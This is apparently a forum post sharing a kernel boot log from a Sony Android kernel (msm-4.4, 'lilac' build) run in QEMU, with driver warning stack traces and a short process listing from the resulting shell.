[ 0.000000] PCI I/O : 0xffffffbffee00000 - 0xffffffbfffe00000 ( 16 MB)
[ 0.000000] memory : 0xffffffc000000000 - 0xffffffc080000000 ( 2048 MB)
[ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=2, Nodes=1
[ 0.000000] HMP scheduling enabled.
[ 0.000000] Preemptible hierarchical RCU implementation.
[ 0.000000] RCU dyntick-idle grace-period acceleration is enabled.
[ 0.000000] RCU restricting CPUs from NR_CPUS=8 to nr_cpu_ids=2.
[ 0.000000] RCU kthread priority: 1.
[ 0.000000] RCU: Adjusting geometry for rcu_fanout_leaf=16, nr_cpu_ids=2
[ 0.000000] NR_IRQS:64 nr_irqs:64 0
[ 0.000000] GICv2m: Node v2m: range[0x8020000:0x8020fff], SPI[80:144]
[ 0.000000] Offload RCU callbacks from all CPUs
[ 0.000000] Offload RCU callbacks from CPUs: 0-1.
[ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt).
[ 0.000000] clocksource: arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns
[ 0.000129] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns
[ 0.000754] clocksource: Switched to clocksource arch_sys_counter
[ 0.002862] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)
[ 0.003047] pid_max: default: 32768 minimum: 301
[ 0.003929] Security Framework initialized
[ 0.004069] SELinux: Initializing.
[ 0.004522] SELinux: Starting in permissive mode
[ 0.004966] Mount-cache hash table entries: 4096 (order: 3, 32768 bytes)
[ 0.005017] Mountpoint-cache hash table entries: 4096 (order: 3, 32768 bytes)
[ 0.023663] Initializing cgroup subsys memory
[ 0.024136] Initializing cgroup subsys freezer
[ 0.024256] Initializing cgroup subsys debug
[ 0.038338] /cpus/[email protected]: Unknown CPU type
[ 0.038415] /cpus/[email protected]: Unknown CPU type
[ 0.038571] CPU0: update cpu_capacity 1024
[ 0.039453] ASID allocator initialised with 65536 entries
[ 0.078493] mem dump base table DT node does not exist
[ 0.078665] couldn't find /soc/[email protected] node
[ 0.090148] CPU1: update cpu_capacity 1024
[ 0.090682] CPU1: Booted secondary processor [411fd070]
[ 0.095452] Brought up 2 CPUs
[ 0.095541] SMP: Total of 2 processors activated.
[ 0.095833] CPU: All CPU(s) started at EL1
[ 0.096572] alternatives: patching kernel code
[ 0.323842] CPU1: update max cpu_capacity 1024
[ 0.341084] CPU1: update max cpu_capacity 1024
[ 0.351666] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
[ 0.351818] futex hash table entries: 512 (order: 3, 32768 bytes)
[ 0.357620] pinctrl core: initialized pinctrl subsystem
[ 0.360215] debug region node not found
[ 0.372552] NET: Registered protocol family 16
[ 0.376688] schedtune: init normalization constants...
[ 0.376756] schedtune: disabled!
[ 0.401557] cpuidle: using governor ladder
[ 0.421111] cpuidle: using governor menu
[ 0.441126] cpuidle: using governor qcom
[ 0.441993] vdso: 2 pages (1 code @ ffffff8009206000, 1 data @ ffffff800a604000)
[ 0.447772] DMA: preallocated 256 KiB pool for atomic allocations
[ 0.470943] exit: IPA_USB init success!
[ 0.499315] of_amba_device_create(): amba_device_add() failed (-517) for /[email protected]
[ 0.501005] of_amba_device_create(): amba_device_add() failed (-517) for /[email protected]
[ 0.501372] of_amba_device_create(): amba_device_add() failed (-517) for /[email protected]
[ 0.603967] ACPI: Interpreter disabled.
[ 0.604525] socinfo_init: Can't find SMEM_HW_SW_BUILD_ID; falling back on dummy values.
[ 0.605154] Unknown SOC ID!
[ 0.605447] ------------[ cut here ]------------
[ 0.605487] WARNING: at /home/hudsonslave/root/workspace/offbuild_pre-yoshino2-2.0.0_android_matrix/HUDSON_PRODUCT/lilac/HUDSON_VARIANT/user/label/CM/kernel/msm-4.4/drivers/soc/qcom/socinfo.c:1622
[ 0.605547] Modules linked in:
[ 0.605652]
[ 0.605853] CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.4.74-perf+ #1
[ 0.605889] Hardware name: linux,dummy-virt (DT)
[ 0.605991] task: ffffffc0784d8000 ti: ffffffc0784b4000 task.ti: ffffffc0784b4000
[ 0.606070] PC is at socinfo_init+0x118/0x7a4
[ 0.606123] LR is at socinfo_init+0x118/0x7a4
[ 0.606153] pc : [<ffffff8009c36b98>] lr : [<ffffff8009c36b98>] pstate: 60400045
[ 0.606177] sp : ffffffc0784b7c80
[ 0.606216] x29: ffffffc0784b7cf0 x28: ffffff8009c81a00
[ 0.606279] x27: ffffff8009c73590 x26: ffffff8009c73570
[ 0.606311] x25: ffffff8009c004b4 x24: ffffff800a9f82f0
[ 0.606341] x23: 0000000000000000 x22: 0000000000000001
[ 0.606371] x21: ffffff800a606000 x20: ffffff800a9f8000
[ 0.606401] x19: ffffff800927a000 x18: 0000000000040000
[ 0.606431] x17: 0000000000003a7f x16: 0000000000000002
[ 0.606461] x15: 0000000000007fff x14: 7564206e6f206b63
[ 0.606491] x13: ffffffffffff0000 x12: 0000000000000028
[ 0.606521] x11: 0000000000000006 x10: ffffff800a89e000
[ 0.606570] x9 : 0000000000000057 x8 : 0000000000000000
[ 0.606601] x7 : 0000000000000000 x6 : ffffff800a89f14e
[ 0.606631] x5 : 0000000000000000 x4 : 0000000000000000
[ 0.606660] x3 : 0000000000000000 x2 : ffffffc0784b4000
[ 0.606689] x1 : 0000000000000000 x0 : 000000000000000f
[ 0.606765]
[ 0.606765] PC: 0xffffff8009c36b58:
[ 0.606801] 6b58 2a1703e2 2a1603e3 52800004 52800185 97956505 52800180 b9000b00 14000002
[ 0.607340] 6b78 b9000b00 f9417a80 b4000060 b9400400 350000a0 90ffde00 912c8000 979564fa
[ 0.607704] 6b98 d4210000 f9417a80 b40000a0 b9400401 71051c3f 54000049 d4210000 b9400401
[ 0.608063] 6bb8 f0ffb200 911aa000 910bc296 8b011000 b940c000 b9000ec0 97a6ab44 b9400ac3
[ 0.608465]
[ 0.608465] LR: 0xffffff8009c36b58:
[ 0.608495] 6b58 2a1703e2 2a1603e3 52800004 52800185 97956505 52800180 b9000b00 14000002
[ 0.608880] 6b78 b9000b00 f9417a80 b4000060 b9400400 350000a0 90ffde00 912c8000 979564fa
[ 0.609281] 6b98 d4210000 f9417a80 b40000a0 b9400401 71051c3f 54000049 d4210000 b9400401
[ 0.609640] 6bb8 f0ffb200 911aa000 910bc296 8b011000 b940c000 b9000ec0 97a6ab44 b9400ac3
[ 0.610033]
[ 0.610033] SP: 0xffffffc0784b7c40:
[ 0.610062] 7c40 09c36b98 ffffff80 784b7c80 ffffffc0 09c36b98 ffffff80 60400045 00000000
[ 0.610464] 7c60 ffffffff 00000000 00000000 00000000 ffffffff ffffffff 6c6c7443 6e721f78
[ 0.610948] 7c80 784b7c90 ffffffc0 ff0a0005 ffffffff 784b7d10 ffffffc0 083ad368 ffffff80
[ 0.611330] 7ca0 0000020f 00000000 0a89b000 ffffff80 09aac8b8 ffffff80 09c36a80 ffffff80
[ 0.611725]
[ 0.611845] ---[ end trace cf17d4d9cad0286c ]---
[ 0.611997] Call trace:
[ 0.612231] Exception stack(0xffffffc0784b7ab0 to 0xffffffc0784b7be0)
[ 0.612455] 7aa0: ffffff800927a000 0000008000000000
[ 0.612613] 7ac0: 0000000042b66000 ffffff8009c36b98 ffffff80097286c0 ffffff800a626f48
[ 0.612730] 7ae0: 0000000100000000 ffffff800a89f130 ffffffc0784b7b00 ffffff8008110ce0
[ 0.612845] 7b00: ffffffc0784b7ba0 ffffff800811104c ffffff8008111014 ffffff800a9f8000
[ 0.612960] 7b20: ffffff800a606000 0000000000000001 0000000000000000 ffffff800a9f82f0
[ 0.613074] 7b40: ffffff8009c004b4 ffffff8009c73570 000000000000000f 0000000000000000
[ 0.613187] 7b60: ffffffc0784b4000 0000000000000000 0000000000000000 0000000000000000
[ 0.613304] 7b80: ffffff800a89f14e 0000000000000000 0000000000000000 0000000000000057
[ 0.613418] 7ba0: ffffff800a89e000 0000000000000006 0000000000000028 ffffffffffff0000
[ 0.613534] 7bc0: 7564206e6f206b63 0000000000007fff 0000000000000002 0000000000003a7f
[ 0.613661] [<ffffff8009c36b98>] socinfo_init+0x118/0x7a4
[ 0.613719] [<ffffff8008083adc>] do_one_initcall+0xc4/0x1dc
[ 0.613771] [<ffffff8009c00e68>] kernel_init_freeable+0x1a8/0x248
[ 0.613810] [<ffffff80091051c4>] kernel_init+0x18/0x138
[ 0.613840] [<ffffff80080830c0>] ret_from_fork+0x10/0x50
[ 0.614477] can't find qcom,msm-imem node
[ 0.614555] socinfo_print: v0.1, id=0, ver=0.1
[ 0.614876] msm_bus_fabric_init_driver
[ 0.617203] vgaarb: loaded
[ 0.619519] SCSI subsystem initialized
[ 0.621504] usbcore: registered new interface driver usbfs
[ 0.621968] usbcore: registered new interface driver hub
[ 0.622562] usbcore: registered new device driver usb
[ 0.623818] media: Linux media interface: v0.10
[ 0.624062] Linux video capture interface: v2.00
[ 0.636355] dev-cpufreq: No tables parsed from DT.
[ 0.637869] Advanced Linux Sound Architecture Driver Initialized.
[ 0.646543] Bluetooth: ffffffc0784b7cf0
[ 0.646800] NET: Registered protocol family 31
[ 0.646850] Bluetooth: ffffffc0784b7cf0
[ 0.647078] Bluetooth: ffffffc0784b7cd0Bluetooth: ffffffc0784b7ca0
[ 0.647570] Bluetooth: ffffffc0784b7cb0<6>[ 0.652956] NetLabel: Initializing
[ 0.653014] NetLabel: domain hash size = 128
[ 0.653038] NetLabel: protocols = UNLABELED CIPSOv4
[ 0.654938] cfg80211: World regulatory domain updated:
[ 0.654992] cfg80211: DFS Master region: unset
[ 0.655037] cfg80211: (start_freq - end_freq @ bandwidth), (max_antenna_gain, max_eirp), (dfs_cac_time)
[ 0.655125] cfg80211: (2402000 KHz - 2472000 KHz @ 20000 KHz), (N/A, 2000 mBm), (N/A)
[ 0.655163] cfg80211: (2457000 KHz - 2482000 KHz @ 20000 KHz), (N/A, 2000 mBm), (N/A)
[ 0.655188] cfg80211: (5170000 KHz - 5250000 KHz @ 80000 KHz), (N/A, 2000 mBm), (N/A)
[ 0.655234] cfg80211: (5250000 KHz - 5330000 KHz @ 80000 KHz), (N/A, 2000 mBm), (0 s)
[ 0.655260] cfg80211: (5490000 KHz - 5730000 KHz @ 80000 KHz), (N/A, 2000 mBm), (0 s)
[ 0.655284] cfg80211: (5735000 KHz - 5835000 KHz @ 80000 KHz), (N/A, 1400 mBm), (N/A)
[ 0.656154] NetLabel: unlabeled traffic allowed by default
[ 0.656738] pcie:pcie_init.
[ 0.662722] clocksource: Switched to clocksource arch_sys_counter
[ 0.879216] pnp: PnP ACPI: disabled
[ 0.883774] NET: Registered protocol family 2
[ 0.891608] TCP established hash table entries: 16384 (order: 5, 131072 bytes)
[ 0.892033] TCP bind hash table entries: 16384 (order: 6, 262144 bytes)
[ 0.892514] TCP: Hash tables configured (established 16384 bind 16384)
[ 0.893122] UDP hash table entries: 1024 (order: 3, 32768 bytes)
[ 0.893331] UDP-Lite hash table entries: 1024 (order: 3, 32768 bytes)
[ 0.895278] NET: Registered protocol family 1
[ 0.895829] PCI: CLS 0 bytes, default 64
[ 0.907093] Trying to unpack rootfs image as initramfs...
[ 1.813394] Freeing initrd memory: 10856K (ffffffc008000000 - ffffffc008a9a000)
[ 1.839873] audit: initializing netlink subsys (disabled)
[ 1.841323] audit: type=2000 audit(1.830:1): initialized
[ 1.843654] Initialise system trusted keyring
[ 1.845285] vmscan: error setting kswapd cpu affinity mask
[ 1.868530] VFS: Disk quotas dquot_6.6.0
[ 1.869111] VFS: Dquot-cache hash table entries: 512 (order 0, 4096 bytes)
[ 1.877043] Registering sdcardfs 0.1
[ 1.879381] fuse init (API version 7.23)
[ 1.880925] SELinux: Registering netfilter hooks
[ 1.883759] pfk_ecryptfs [pfk_ecryptfs_init]: PFK ecryptfs inited successfully
[ 1.883827] pfk_ext4 [pfk_ext4_init]: PFK EXT4 inited successfully
[ 1.883940] pfk [pfk_init]: Driver initialized successfully
[ 1.906531] Key type asymmetric registered
[ 1.906667] Asymmetric key parser 'x509' registered
[ 1.907447] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 251)
[ 1.907643] io scheduler noop registered
[ 1.907745] io scheduler deadline registered
[ 1.908491] io scheduler cfq registered (default)
[ 1.914647] mdss_dsi_status_init: DSI status check interval:5000
[ 1.924056] _smem_log_init: no log or log_idx allocated
[ 1.924109] smem_log_initialize: init failed -19
[ 1.928406] spcom [spcom_init]: spcom driver Ver 1.0 23-Nov-2015.
[ 1.930476] audio_notifer_reg_service: service SSR_MODEM is in use
[ 1.935741] pil: failed to find qcom,msm-imem-pil node
[ 1.943836] msm_serial: driver initialized
[ 1.944825] msm_serial_hs module loaded
[ 1.999765] diag: Unable to register MHI read channel for 0, err: -22
[ 2.001287] diag: Unable to initialze diagfwd bridge, err: -12
[ 2.006917] Unable to detect cache hierarchy from DT for CPU 0
[ 2.053950] brd: module loaded
[ 2.078315] loop: module loaded
[ 2.081406] zram: Added device: zram0
[ 2.091074] tof_sensor_init: Initialize i2c driver
[ 2.091234] tof_sensor_init: Added i2c driver rc = 0Initialize TCS3490 driver
[ 2.091447] TCS3490 added i2c driver rc = 0<6>[ 2.097314] SCSI Media Changer driver v0.25
[ 2.098726] Ethernet Channel Bonding Driver: v3.7.1 (April 27, 2011)
[ 2.111375] tun: Universal TUN/TAP device driver, 1.6
[ 2.111422] tun: (C) 1999-2004 Max Krasnyansky <[email protected]>
[ 2.111816] sky2: driver version 1.30
[ 2.112935] PPP generic driver version 2.4.2
[ 2.113685] PPP BSD Compression module registered
[ 2.113776] PPP Deflate Compression module registered
[ 2.113968] PPP MPPE Compression module registered
[ 2.114073] NET: Registered protocol family 24
[ 2.121575] usb_host_ext_event has been registered!
[ 2.122073] usbcore: registered new interface driver usb-storage
[ 2.122469] usbcore: registered new interface driver usb_ehset_test
[ 2.125553] msm_sharedmem: sharedmem_register_qmi: qmi init successful
[ 2.126057] diag: failed to find diag_dload imem node
[ 2.128723] mousedev: PS/2 mouse device common for all mice
[ 2.129813] usbcore: registered new interface driver xpad
[ 2.131793] stmvl53l0_init: Enter
[ 2.131865] stmvl53l0_init_cci: Enter
[ 2.132239] stmvl53l0_init_cci: End
[ 2.132288] stmvl53l0_init: End
[ 2.132729] fpc1145_init OK
[ 2.133628] i2c /dev entries driver
[ 2.138308] ------------[ cut here ]------------
[ 2.138340] WARNING: at /home/hudsonslave/root/workspace/offbuild_pre-yoshino2-2.0.0_android_matrix/HUDSON_PRODUCT/lilac/HUDSON_VARIANT/user/label/CM/kernel/msm-4.4/drivers/media/platform/msm/camera_v2/msm.c:401
[ 2.138361] Modules linked in:
[ 2.138390]
[ 2.138527] CPU: 1 PID: 1 Comm: swapper/0 Tainted: G W 4.4.74-perf+ #1
[ 2.138558] Hardware name: linux,dummy-virt (DT)
[ 2.138601] task: ffffffc0784d8000 ti: ffffffc0784b4000 task.ti: ffffffc0784b4000
[ 2.138639] PC is at msm_sd_register+0x198/0x1fc
[ 2.138666] LR is at msm_sensor_init_module+0x114/0x1b8
[ 2.138686] pc : [<ffffff800897d1fc>] lr : [<ffffff8009c47ab0>] pstate: 60400145
[ 2.138701] sp : ffffffc0784b7d20
[ 2.138735] x29: ffffffc0784b7d20 x28: ffffff8009c82838
[ 2.138770] x27: ffffff8009c735a0 x26: ffffff8009c73570
[ 2.138800] x25: ffffff8009c004b4 x24: 0000000000000000
[ 2.138830] x23: ffffff800aa4b530 x22: ffffff800aa4b528
[ 2.138869] x21: ffffff800aa4b000 x20: ffffff800a833000
[ 2.138907] x19: ffffff800aa4b000 x18: 00000000deab7ec7
[ 2.138937] x17: 00000000432aff97 x16: 0000000000000001
[ 2.138966] x15: 0000000000000003 x14: 0ffffffffffffffe
[ 2.138995] x13: 0000000000000030 x12: 0101010101010101
[ 2.139025] x11: ff7f7f7f7f7f7f7f x10: fdff646b74636e6c
[ 2.139054] x9 : 0000000000000000 x8 : ffffffc076698e00
[ 2.139083] x7 : 0000000000000000 x6 : ffffffc076698c28
[ 2.139111] x5 : 0000000000000040 x4 : ffffff800aa4b088
[ 2.139140] x3 : 000000000000000e x2 : 0000000000020006
[ 2.139169] x1 : ffffffc076698c00 x0 : ffffffc076698c28
[ 2.139200]
[ 2.139200] PC: 0xffffff800897d1bc:
[ 2.139222] d1bc 12800002 52800023 f94046a4 97fef414 2a0003f3 37f80433 52800a20 b90072a0
[ 2.139580] d1dc b943aa80 b90076a0 f9406a80 b4000320 f90012a0 52800000 f9007ab4 17ffffc5
[ 2.139939] d1fc d4210000 12800080 f94013f5 a94153f3 a8c37bfd d65f03c0 d4210000 128002a0
[ 2.140339] d21c f94013f5 a94153f3 a8c37bfd d65f03c0 12800173 f9407aa0 b4000080 97fef7df
[ 2.140723]
[ 2.140723] LR: 0xffffff8009c47a70:
[ 2.140753] 7a70 f9006a77 b900be64 9100a260 97b3c52d f94296a1 52a00043 528000c2 91038020
[ 2.141119] 7a90 72a00042 b9005023 528001c3 f9002420 9100a020 b9006023 b9015822 97b4d56e
[ 2.141488] 7ab0 2a0003f3 340001e0 9125a280 9101e000 79404401 36100381 f0ffb482 f0ffe3e1
[ 2.141872] 7ad0 912f2042 91386021 9101e042 52801803 aa0203e4 2a1303e5 979e0bdd 14000012
[ 2.142246]
[ 2.142246] SP: 0xffffffc0784b7ce0:
[ 2.142275] 7ce0 09c47ab0 ffffff80 784b7d20 ffffffc0 0897d1fc ffffff80 60400145 00000000
[ 2.142660] 7d00 764eba80 ffffffc0 09c4799c ffffff80 ffffffff ffffffff 09c47a80 ffffff80
[ 2.143027] 7d20 784b7d50 ffffffc0 09c47ab0 ffffff80 76698c00 ffffffc0 0a833000 ffffff80
[ 2.143401] 7d40 0aa4b000 ffffff80 00000000 00000000 784b7d90 ffffffc0 08083adc ffffff80
[ 2.143841]
[ 2.143883] ---[ end trace cf17d4d9cad0286d ]---
[ 2.143920] Call trace:
[ 2.143951] Exception stack(0xffffffc0784b7b50 to 0xffffffc0784b7c80)
[ 2.144022] 7b40: ffffff800aa4b000 0000008000000000
[ 2.144134] 7b60: 0000000042b66000 ffffff800897d1fc ffffff8031303531 cb88537fdc8ba64a
[ 2.144253] 7b80: ffffffc0784b7c10 ffffff80083aa2d4 ffffffc0784b7d90 00000000ffffffd8
[ 2.144366] 7ba0: ffffff800923e648 0000000000000800 0000000000000000 ffffffc0764eba80
[ 2.144480] 7bc0: ffffff800a7f1000 ffffffc0764f0b00 ffffffc0784b7c10 ffffff80083aa208
[ 2.144593] 7be0: ffffffc0784b7d90 00000000ffffffd0 ffffffc076698c28 ffffffc076698c00
[ 2.144707] 7c00: 0000000000020006 000000000000000e ffffff800aa4b088 0000000000000040
[ 2.144821] 7c20: ffffffc076698c28 0000000000000000 ffffffc076698e00 0000000000000000
[ 2.144934] 7c40: fdff646b74636e6c ff7f7f7f7f7f7f7f 0101010101010101 0000000000000030
[ 2.145057] 7c60: 0ffffffffffffffe 0000000000000003 0000000000000001 00000000432aff97
[ 2.145115] [<ffffff800897d1fc>] msm_sd_register+0x198/0x1fc
[ 2.145153] [<ffffff8009c47ab0>] msm_sensor_init_module+0x114/0x1b8
[ 2.145189] [<ffffff8008083adc>] do_one_initcall+0xc4/0x1dc
[ 2.145225] [<ffffff8009c00e68>] kernel_init_freeable+0x1a8/0x248
[ 2.145262] [<ffffff80091051c4>] kernel_init+0x18/0x138
[ 2.145291] [<ffffff80080830c0>] ret_from_fork+0x10/0x50
[ 2.146752] (NULL device *): sony_sensor_init_module: sony_sensor_init_module platform_driver_probe (0) 2326
[ 2.147185] (NULL device *): sony_sensor_init_module: sony_sensor_init_module platform_driver_probe (1) 2326
[ 2.147237] (NULL device *): sony_sensor_init_module: sony_sensor_init_module platform_driver_probe (0) 2353
[ 2.150963] ------------[ cut here ]------------
[ 2.150994] WARNING: at /home/hudsonslave/root/workspace/offbuild_pre-yoshino2-2.0.0_android_matrix/HUDSON_PRODUCT/lilac/HUDSON_VARIANT/user/label/CM/kernel/msm-4.4/drivers/media/platform/msm/camera_v2/msm.c:401
[ 2.151014] Modules linked in:
[ 2.151040]
[ 2.151073] CPU: 1 PID: 1 Comm: swapper/0 Tainted: G W 4.4.74-perf+ #1
[ 2.151093] Hardware name: linux,dummy-virt (DT)
[ 2.151115] task: ffffffc0784d8000 ti: ffffffc0784b4000 task.ti: ffffffc0784b4000
[ 2.151147] PC is at msm_sd_register+0x198/0x1fc
[ 2.151173] LR is at msm_buf_mngr_init+0x114/0x200
[ 2.151192] pc : [<ffffff800897d1fc>] lr : [<ffffff8009c484e8>] pstate: 60400145
[ 2.151208] sp : ffffffc0784b7d20
[ 2.151224] x29: ffffffc0784b7d20 x28: ffffff8009c82898
[ 2.151257] x27: ffffff8009c735a0 x26: ffffff8009c73570
[ 2.151286] x25: ffffff8009c004b4 x24: ffffff800aa6d000
[ 2.151316] x23: ffffff80092e0458 x22: ffffff800aa6d000
[ 2.151345] x21: ffffff800aa6d700 x20: ffffffc076698c00
[ 2.151374] x19: ffffff800aa4b000 x18: 00000000deab7ec7
[ 2.151403] x17: 00000000432aff97 x16: 0000000000000001
[ 2.151432] x15: 0000000000000003 x14: 0ffffffffffffffe
[ 2.151461] x13: 0000000000000008 x12: 0101010101010101
[ 2.151490] x11: ffffff800894aa7c x10: ffffff800894b560
[ 2.151519] x9 : 0000000000000000 x8 : 0000000000000000
[ 2.151547] x7 : 0000000000000000 x6 : ffffffc076698c20
[ 2.151583] x5 : ffffff80089f1e44 x4 : ffffff800aa4b088
[ 2.151613] x3 : 000000000000000d x2 : 0000000000040000
[ 2.151649] x1 : ffffffc076698c00 x0 : ffffffc076698c20
[ 2.151680]
[ 2.151680] PC: 0xffffff800897d1bc:
[ 2.151702] d1bc 12800002 52800023 f94046a4 97fef414 2a0003f3 37f80433 52800a20 b90072a0
[ 2.152054] d1dc b943aa80 b90076a0 f9406a80 b4000320 f90012a0 52800000 f9007ab4 17ffffc5
[ 2.152404] d1fc d4210000 12800080 f94013f5 a94153f3 a8c37bfd d65f03c0 d4210000 128002a0
[ 2.152769] d21c f94013f5 a94153f3 a8c37bfd d65f03c0 12800173 f9407aa0 b4000080 97fef7df
[ 2.153124]
[ 2.153124] LR: 0xffffff8009c484a8:
[ 2.153152] 84a8 f9008294 91288084 f90012a5 f90016a4 97b3c29e f9437f01 910322e2 52a00040
[ 2.153499] 84c8 528001a3 b9004820 91008020 f9006422 52a00082 b9005823 b9015022 97b4d2e0
[ 2.153848] 84e8 2a0003f4 34000140 9101c2e1 90ffe460 910ca000 52806be2 aa0103e3 2a1403e4
[ 2.154198] 8508 97951e9d 2a1403e0 1400002c f9437f02 b1008040 f9408841 f9003c35 54000100
[ 2.154553]
[ 2.154553] SP: 0xffffffc0784b7ce0:
[ 2.154580] 7ce0 09c484e8 ffffff80 784b7d20 ffffffc0 0897d1fc ffffff80 60400145 00000000
[ 2.154922] 7d00 764eba80 ffffffc0 09c483d4 ffffff80 ffffffff ffffffff 09c484bc ffffff80
[ 2.155277] 7d20 784b7d50 ffffffc0 09c484e8 ffffff80 092e0000 ffffff80 76698c00 ffffffc0
[ 2.155647] 7d40 0aa6d700 ffffff80 00000000 00000000 784b7d90 ffffffc0 08083adc ffffff80
[ 2.156069]
[ 2.156095] ---[ end trace cf17d4d9cad0286e ]---
[ 2.156117] Call trace:
[ 2.156143] Exception stack(0xffffffc0784b7b50 to 0xffffffc0784b7c80)
[ 2.156209] 7b40: ffffff800aa4b000 0000008000000000
[ 2.156324] 7b60: 0000000042b66000 ffffff800897d1fc 00000000ffffffff cb88537fdc8ba64a
[ 2.156432] 7b80: ffffffc0784b7c10 ffffff80083aa2d4 ffffffc0784b7d90 00000000ffffffd8
[ 2.156540] 7ba0: ffffff800923e648 ffffff80083a1150 ffffffc0766ef000 0000000000000800
[ 2.156649] 7bc0: 0000000000000000 ffffffc0764eba80 ffffffc0784b7c10 ffffff80083aa208
[ 2.156756] 7be0: ffffffc0784b7d90 00000000ffffffd0 ffffffc076698c20 ffffffc076698c00
[ 2.156865] 7c00: 0000000000040000 000000000000000d ffffff800aa4b088 ffffff80089f1e44
[ 2.156972] 7c20: ffffffc076698c20 0000000000000000 0000000000000000 0000000000000000
[ 2.157080] 7c40: ffffff800894b560 ffffff800894aa7c 0101010101010101 0000000000000008
[ 2.157188] 7c60: 0ffffffffffffffe 0000000000000003 0000000000000001 00000000432aff97
[ 2.157240] [<ffffff800897d1fc>] msm_sd_register+0x198/0x1fc
[ 2.157275] [<ffffff8009c484e8>] msm_buf_mngr_init+0x114/0x200
[ 2.157307] [<ffffff8008083adc>] do_one_initcall+0xc4/0x1dc
[ 2.157340] [<ffffff8009c00e68>] kernel_init_freeable+0x1a8/0x248
[ 2.157373] [<ffffff80091051c4>] kernel_init+0x18/0x138
[ 2.157401] [<ffffff80080830c0>] ret_from_fork+0x10/0x50
[ 2.157447] CAM-BUFMGR msm_buf_mngr_init:863 msm_buf_mngr_init: msm_sd_register error = -5
[ 2.164607] tsens_controller_is_present: tsens_controller_is_present: TSENS controller not available
[ 2.164687] _tsens_register_thermal: _tsens_register_thermal: TSENS early init not done
[ 2.165473] md: linear personality registered for level -1
[ 2.166120] device-mapper: uevent: version 1.0.3
[ 2.167337] device-mapper: ioctl: 4.34.0-ioctl (2015-10-28) initialised: [email protected]
[ 2.168421] device-mapper: req-crypt: dm-req-crypt successfully initalized.
[ 2.168421]
[ 2.170719] sdhci: Secure Digital Host Controller Interface driver
[ 2.170754] sdhci: Copyright(c) Pierre Ossman
[ 2.170813] sdhci-pltfm: SDHCI platform and OF driver helper
[ 2.175886] usbcore: registered new interface driver usbhid
[ 2.175928] usbhid: USB HID core driver
[ 2.176592] ashmem: initialized
[ 2.192929] hw perfevents: enabled with armv8_pmuv3 PMU driver, 1 counters available
[ 2.203890] usbcore: registered new interface driver snd-usb-audio
[ 2.225873] sony_hweffect_params_init
[ 2.228462] GACT probability NOT on
[ 2.228790] Mirror/redirect action on
[ 2.229052] u32 classifier
[ 2.229080] Actions configured
[ 2.229531] Netfilter messages via NETLINK v0.30.
[ 2.230447] nf_conntrack version 0.5.0 (16384 buckets, 65536 max)
[ 2.234582] ctnetlink v0.93: registering with nfnetlink.
[ 2.240127] xt_time: kernel timezone is -0000
[ 2.243542] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 2.248215] arp_tables: (C) 2002 David S. Miller
[ 2.249607] Initializing XFRM netlink socket
[ 2.252047] NET: Registered protocol family 10
[ 2.262166] mip6: Mobile IPv6
[ 2.262432] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 2.264716] sit: IPv6 over IPv4 tunneling driver
[ 2.267729] NET: Registered protocol family 17
[ 2.268306] NET: Registered protocol family 15
[ 2.268815] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.
[ 2.268915] Ebtables v2.0 registered
[ 2.269846] l2tp_core: L2TP core driver, V2.0
[ 2.270120] l2tp_ppp: PPPoL2TP kernel driver, V2.0
[ 2.270188] l2tp_ip: L2TP IP encapsulation support (L2TPv3)
[ 2.270361] l2tp_netlink: L2TP netlink interface
[ 2.270880] l2tp_eth: L2TP ethernet pseudowire support (L2TPv3)
[ 2.270955] l2tp_ip6: L2TP IP encapsulation support for IPv6 (L2TPv3)
[ 2.271666] NET: Registered protocol family 27
[ 2.288350] Registered cp15_barrier emulation handler
[ 2.288510] Registered setend emulation handler
[ 2.291405] registered taskstats version 1
[ 2.291648] Loading compiled-in X.509 certificates
[ 2.302327] Loaded X.509 cert 'Build time autogenerated kernel key: 70cf1635829ba84ab2643804f0666714b694ca11'
[ 2.304493] Loaded X.509 cert 'Android: 7e4333f9bba00adfe0ede979e28ed1920492b40f'
[ 2.543600] Key type encrypted registered
[ 2.545603] modem_restart_late_init: Unable to create smem ramdump device.
[ 2.546929] spss_utils [spss_init]: spss-utils driver Ver 1.2 13-Jan-2017.
[ 2.547854] servloc: init_service_locator: Service Locator not enabled
[ 2.547905] servloc: pd_locator_work: Unable to connect to service locator!, rc = -19
[ 2.548122] audio_notifer_reg_service: service SSR_ADSP is in use
[ 2.558173] RNDIS_IPA module is loaded.
[ 2.560110] hctosys: unable to open rtc device (rtc0)
[ 2.568247] clock_late_init: Removing enables held for handed-off clocks
[ 2.568376] ALSA device list:
[ 2.568423] No soundcards found.
[ 2.569282] Warning: unable to open an initial console.
[ 2.706130] Freeing unused kernel memory: 10240K ...
Here few linux commands from linux shell under that kernel in qemu:
Code:
ps
PID USER COMMAND
1 0 init
2 0 [kthreadd]
3 0 [ksoftirqd/0]
4 0 [kworker/0:0]
5 0 [kworker/0:0H]
6 0 [kworker/u4:0]
7 0 [rcu_preempt]
8 0 [rcu_sched]
9 0 [rcu_bh]
10 0 [rcuop/0]
11 0 [rcuos/0]
12 0 [rcuob/0]
13 0 [rcuc/0]
14 0 [rcub/0]
15 0 [migration/0]
16 0 [migration/1]
17 0 [rcuc/1]
18 0 [ksoftirqd/1]
19 0 [kworker/1:0]
20 0 [kworker/1:0H]
21 0 [rcuop/1]
22 0 [rcuos/1]
23 0 [rcuob/1]
24 0 [netns]
25 0 [perf]
26 0 [smd_channel_clo]
27 0 [dsps_smd_trans_]
28 0 [lpass_smd_trans]
29 0 [mpss_smd_trans_]
30 0 [wcnss_smd_trans]
31 0 [rpm_smd_trans_g]
32 0 [ipa_usb_wq]
33 0 [deferwq]
34 0 [kworker/u4:1]
35 0 [writeback]
36 0 [kcompactd0]
37 0 [crypto]
38 0 [bioset]
39 0 [kblockd]
40 0 [md]
41 0 [devfreq_wq]
42 0 [governor_msm_ad]
